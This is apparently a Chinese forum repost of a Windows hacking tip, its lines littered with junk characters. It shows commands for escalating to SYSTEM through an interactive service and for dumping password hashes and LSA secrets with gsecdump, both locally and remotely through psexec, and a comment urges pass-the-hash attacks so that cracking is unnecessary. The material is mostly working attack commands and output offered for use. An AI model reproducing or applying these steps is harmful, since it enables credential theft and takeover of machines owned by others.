o get a DOS Prompt as NT system:
. Z5 v. N" E% @8 z7 w* o0 [) y: a9 L6 h) p" w0 z5 G t: [
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact- r! H. W/ {+ V* Z" r* D
[SC] CreateService SUCCESS
; G3 v. u6 J1 P" W3 V% h, R; P" A$ b" F
C:\>sc start shellcmdline u z3 r6 Y, Z6 y+ I6 D
[SC] StartService FAILED 1053:
% A- p6 p* q. B" s. _% m* y2 R2 x z2 F. S2 \; J0 A
The service did not respond to the start or control request in a timely fashion.
* M2 r: ~ {4 l5 L e7 y/ ~# |* x# Y( G+ R7 C9 c* v. A
C:\>sc delete shellcmdline- l* E; G+ y p4 C
[SC] DeleteService SUCCESS
# ^! J. [$ V# k' ]2 P
) u( e% I2 Q3 X) o) }7 n3 _------------
9 S; G- L2 Q4 C Z2 \0 v* n2 t2 v/ ]8 ^: |' d% Y
Then in the new DOS window:: v3 d3 n$ c' w% s9 O, U5 u
( r2 s4 `1 Y2 x" n3 |Microsoft Windows XP [Version 5.1.2600], R6 L' V2 n1 A1 B/ |
(C) Copyright 1985-2001 Microsoft Corp.# _2 B* `3 ?* T3 W6 R8 Q6 L, z) F
/ ~. S" c6 [. A# G, t8 s. {
C:\WINDOWS\system32>whoami
& } V" m5 z/ J+ ]NT AUTHORITY\SYSTEM4 o0 N7 {8 E, l- W( H7 e7 o. k
6 _6 ]+ D3 { L. a. K- ~C:\WINDOWS\system32>gsecdump -h
4 d# l7 h1 p3 p$ s+ f* tgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
0 g1 k$ F ]( nusage: gsecdump [options]
3 o' h9 T; Z: K% I' M0 u1 \( t, t
5 _/ ^! W3 i( D- D7 u/ |) E& Joptions:
4 k. k+ u% C6 I# ^% ~0 B% [! C& ?-h [ --help ] show help5 i! U7 z: i" V" h8 m. @' K5 g
-a [ --dump_all ] dump all secrets
% L/ O2 W: \: T+ ]& n5 s-l [ --dump_lsa ] dump lsa secrets9 Z) ^$ X) b" t
-w [ --dump_wireless ] dump microsoft wireless connections
1 I! y; h: H6 U( j' H( f& x-u [ --dump_usedhashes ] dump hashes from active logon sessions
( T+ F5 l1 z+ Q7 X- Y-s [ --dump_hashes ] dump hashes from SAM/AD& f2 C4 V& J) ~" p1 D3 E
& R+ _! v+ l5 D* W/ }1 R" eAlthough I like to use:
5 r" d" S2 |. Y$ P
Z% {: n% L6 c7 N* U2 N4 gPsExec v1.83 - Execute processes remotely4 [9 y' M; X8 F7 S- n3 z( E
Copyright (C) 2001-2007 Mark Russinovich
. Q) A* j8 k4 b1 p: zSysinternals - 链接标记[url]www.sysinternals.com[/url] C: K5 ^+ S' O
& D5 l) {& {4 u0 G4 D/ K- L; TC:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT9 G* l" W# v$ L! f' d; W, D
+ N4 ?) S& O9 m
to get the hashes from active logon sessions of a remote system.- j3 U+ d3 e$ k/ ]# b: y; H) h
- r0 @/ B% Q' _' n4 I* g8 UThese are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
) ]) }+ P4 `$ w X5 O+ R
7 g+ E* R" \- D, V8 V提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.0 n5 C- m2 Q& ~& q# Y& a
原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
8 o+ J3 C& b, I7 w* T% s' v! S+ \4 e8 Z6 f* k
我看了下原文出处,貌似是/2007/03/16/郁闷啊,差距。
2 q* w; s3 b4 X! k9 y9 ~6 ` |